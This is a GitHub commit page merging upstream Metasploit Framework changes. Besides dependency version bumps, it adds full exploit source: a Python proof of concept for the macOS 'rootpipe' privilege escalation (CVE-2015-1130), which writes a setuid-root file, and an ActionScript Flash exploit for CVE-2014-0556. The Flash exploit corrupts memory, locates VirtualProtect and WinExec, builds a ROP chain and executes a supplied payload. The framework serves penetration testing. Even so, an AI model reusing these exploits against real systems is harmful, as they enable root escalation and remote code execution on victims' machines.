Skip to content

Commit 0a8b29d

Browse files
committed
Merge branch 'upstream/master' into connection-recovery
Conflicts: lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb
2 parents 1c5de59 + 753978f commit 0a8b29d

File tree

327 files changed

+8158
-2844
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

327 files changed

+8158
-2844
lines changed

.travis.yml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,3 +38,6 @@ branches:
3838
except:
3939
- gh-pages
4040
- metakitty
41+
42+
addons:
43+
postgresql: '9.3'

Gemfile.lock

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,9 @@ PATH
77
bcrypt
88
jsobfu (~> 0.2.0)
99
json
10-
metasploit-concern (~> 0.3.0)
10+
metasploit-concern (= 0.4.0)
1111
metasploit-model (~> 0.29.0)
12-
meterpreter_bins (= 0.0.18)
12+
meterpreter_bins (= 0.0.22)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -22,9 +22,9 @@ PATH
2222
tzinfo
2323
metasploit-framework-db (4.11.0.pre.dev)
2424
activerecord (>= 3.2.21, < 4.0.0)
25-
metasploit-credential (~> 0.14.3)
25+
metasploit-credential (= 0.14.5)
2626
metasploit-framework (= 4.11.0.pre.dev)
27-
metasploit_data_models (~> 0.23.2)
27+
metasploit_data_models (= 0.24.0)
2828
pg (>= 0.11)
2929
metasploit-framework-pcap (4.11.0.pre.dev)
3030
metasploit-framework (= 4.11.0.pre.dev)
@@ -109,30 +109,30 @@ GEM
109109
mail (2.5.4)
110110
mime-types (~> 1.16)
111111
treetop (~> 1.4.8)
112-
metasploit-concern (0.3.0)
112+
metasploit-concern (0.4.0)
113113
activesupport (~> 3.0, >= 3.0.0)
114114
railties (< 4.0.0)
115-
metasploit-credential (0.14.3)
116-
metasploit-concern (~> 0.3.0)
115+
metasploit-credential (0.14.5)
116+
metasploit-concern (= 0.4.0)
117117
metasploit-model (~> 0.29.0)
118-
metasploit_data_models (~> 0.23.0)
118+
metasploit_data_models (= 0.24.0)
119119
pg
120120
railties (< 4.0.0)
121121
rubyntlm
122122
rubyzip (~> 1.1)
123-
metasploit-model (0.29.0)
123+
metasploit-model (0.29.2)
124124
activesupport
125125
railties (< 4.0.0)
126-
metasploit_data_models (0.23.2)
126+
metasploit_data_models (0.24.0)
127127
activerecord (>= 3.2.13, < 4.0.0)
128128
activesupport
129129
arel-helpers
130-
metasploit-concern (~> 0.3.0)
130+
metasploit-concern (= 0.4.0)
131131
metasploit-model (~> 0.29.0)
132132
pg
133133
railties (< 4.0.0)
134134
recog (~> 1.0)
135-
meterpreter_bins (0.0.18)
135+
meterpreter_bins (0.0.22)
136136
method_source (0.8.2)
137137
mime-types (1.25.1)
138138
mini_portile (0.6.2)
@@ -175,7 +175,7 @@ GEM
175175
rb-readline-r7 (0.5.2.0)
176176
rdoc (3.12.2)
177177
json (~> 1.4)
178-
recog (1.0.24)
178+
recog (1.0.27)
179179
nokogiri
180180
redcarpet (3.1.2)
181181
rkelly-remix (0.0.6)

data/exploits/CVE-2014-0556/msf.swf

17.3 KB
Binary file not shown.

data/exploits/CVE-2014-0569/msf.swf

17.5 KB
Binary file not shown.
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
########################################################
2+
#
3+
# PoC exploit code for rootpipe (CVE-2015-1130)
4+
#
5+
# Created by Emil Kvarnhammar, TrueSec
6+
#
7+
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
8+
#
9+
########################################################
10+
import os
11+
import sys
12+
import platform
13+
import re
14+
import ctypes
15+
import objc
16+
import sys
17+
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
18+
from Foundation import NSAutoreleasePool
19+
20+
def load_lib(append_path):
21+
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
22+
23+
def use_old_api():
24+
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
25+
26+
27+
args = sys.argv
28+
29+
if len(args) != 3:
30+
print "usage: exploit.py source_binary dest_binary_as_root"
31+
sys.exit(-1)
32+
33+
source_binary = args[1]
34+
dest_binary = os.path.realpath(args[2])
35+
36+
if not os.path.exists(source_binary):
37+
raise Exception("file does not exist!")
38+
39+
pool = NSAutoreleasePool.alloc().init()
40+
41+
attr = NSMutableDictionary.alloc().init()
42+
attr.setValue_forKey_(04777, NSFilePosixPermissions)
43+
data = NSData.alloc().initWithContentsOfFile_(source_binary)
44+
45+
print "will write file", dest_binary
46+
47+
if use_old_api():
48+
adm_lib = load_lib("/Admin.framework/Admin")
49+
Authenticator = objc.lookUpClass("Authenticator")
50+
ToolLiaison = objc.lookUpClass("ToolLiaison")
51+
SFAuthorization = objc.lookUpClass("SFAuthorization")
52+
53+
authent = Authenticator.sharedAuthenticator()
54+
authref = SFAuthorization.authorization()
55+
56+
# authref with value nil is not accepted on OS X <= 10.8
57+
authent.authenticateUsingAuthorizationSync_(authref)
58+
st = ToolLiaison.sharedToolLiaison()
59+
tool = st.tool()
60+
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
61+
else:
62+
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
63+
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
64+
client = WriteConfigClient.sharedClient()
65+
client.authenticateUsingAuthorizationSync_(None)
66+
tool = client.remoteProxy()
67+
68+
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
69+
70+
71+
print "Done!"
72+
73+
del pool

data/templates/template_x64_bsd.bin

120 Bytes
Binary file not shown.
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Download the Flex SDK (4.6)
4+
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
5+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
6+
// 4. Build with: mxmlc -o msf.swf Main.as
7+
8+
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
9+
// Modified to be used from msf
10+
11+
package
12+
{
13+
import flash.display.Sprite
14+
import flash.display.BitmapData
15+
import flash.geom.Rectangle
16+
import flash.utils.ByteArray
17+
import flash.display.LoaderInfo
18+
import mx.utils.Base64Decoder
19+
20+
public class Main extends Sprite
21+
{
22+
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
23+
private var uv:Vector.<Object> = new Vector.<Object>(12800)
24+
private var bd:BitmapData = new BitmapData(128, 16)
25+
private var i:uint = 0
26+
27+
public function Main()
28+
{
29+
var b64:Base64Decoder = new Base64Decoder()
30+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
31+
var payload:String = b64.toByteArray().toString()
32+
33+
for (i = 0; i < bv.length; i++) {
34+
bv[i] = new ByteArray()
35+
bv[i].length = 0x2000
36+
bv[i].position = 0xFFFFF000
37+
}
38+
39+
for (i = 0; i < bv.length; i++)
40+
if (i % 2 == 0) bv[i] = null
41+
42+
for (i = 0; i < uv.length; i++) {
43+
uv[i] = new Vector.<uint>(1022)
44+
}
45+
46+
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
47+
48+
for (i = 0; ; i++)
49+
if (uv[i].length == 0xffffffff) break
50+
51+
for (var i2:uint = 1; i2 < uv.length; i2++) {
52+
if (i == i2) continue
53+
uv[i2] = new Vector.<Object>(1014)
54+
uv[i2][0] = bv[6401]
55+
uv[i2][1] = this
56+
}
57+
58+
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
59+
bv[6401].endian = "littleEndian"
60+
bv[6401].length = 0x500000
61+
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
62+
var main:uint = uv[i][0xfffffc09] - 1
63+
var vtable:uint = vector_read(main)
64+
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
65+
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
66+
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
67+
byte_write(uv[i][0])
68+
69+
var flash:uint = base(vtable)
70+
var winmm:uint = module("winmm.dll", flash)
71+
var kernel32:uint = module("kernel32.dll", winmm)
72+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
73+
var winexec:uint = procedure("WinExec", kernel32)
74+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
75+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
76+
77+
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
78+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
79+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
80+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
81+
82+
byte_write(buffer + 0x100, payload, true)
83+
byte_write(buffer + 0x20070, xchgeaxespret)
84+
byte_write(buffer + 0x20000, xchgeaxesiret)
85+
byte_write(0, virtualprotect)
86+
87+
// VirtualProtect
88+
byte_write(0, winexec)
89+
byte_write(0, buffer + 0x30000)
90+
byte_write(0, 0x1000)
91+
byte_write(0, 0x40)
92+
byte_write(0, buffer + 0x80)
93+
94+
// WinExec
95+
byte_write(0, buffer + 0x30000)
96+
byte_write(0, buffer + 0x100)
97+
byte_write(0)
98+
99+
byte_write(main, buffer + 0x20000)
100+
this.toString()
101+
}
102+
103+
private function vector_write(addr:uint, value:uint = 0):void
104+
{
105+
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
106+
}
107+
108+
private function vector_read(addr:uint):uint
109+
{
110+
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
111+
}
112+
113+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
114+
{
115+
if (addr) bv[6401].position = addr
116+
if (value is String) {
117+
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
118+
if (zero) bv[6401].writeByte(0)
119+
} else bv[6401].writeUnsignedInt(value)
120+
}
121+
122+
private function byte_read(addr:uint, type:String = "dword"):uint
123+
{
124+
bv[6401].position = addr
125+
switch(type) {
126+
case "dword":
127+
return bv[6401].readUnsignedInt()
128+
case "word":
129+
return bv[6401].readUnsignedShort()
130+
case "byte":
131+
return bv[6401].readUnsignedByte()
132+
}
133+
return 0
134+
}
135+
136+
private function base(addr:uint):uint
137+
{
138+
addr &= 0xffff0000
139+
while (true) {
140+
if (byte_read(addr) == 0x00905a4d) return addr
141+
addr -= 0x10000
142+
}
143+
return 0
144+
}
145+
146+
private function module(name:String, addr:uint):uint
147+
{
148+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
149+
while (true) {
150+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
151+
if (!entry) throw new Error("FAIL!");
152+
bv[6401].position = addr + entry
153+
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
154+
}
155+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
156+
}
157+
158+
private function procedure(name:String, addr:uint):uint
159+
{
160+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
161+
var numberOfNames:uint = byte_read(eat + 0x18)
162+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
163+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
164+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
165+
for (var i:uint = 0; ; i++) {
166+
var entry:uint = byte_read(addressOfNames + i * 4)
167+
bv[6401].position = addr + entry
168+
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
169+
}
170+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
171+
}
172+
173+
private function gadget(gadget:String, hint:uint, addr:uint):uint
174+
{
175+
var find:uint = 0
176+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
177+
var value:uint = parseInt(gadget, 16)
178+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
179+
return addr + i
180+
}
181+
}
182+
}

0 commit comments

Comments
 (0)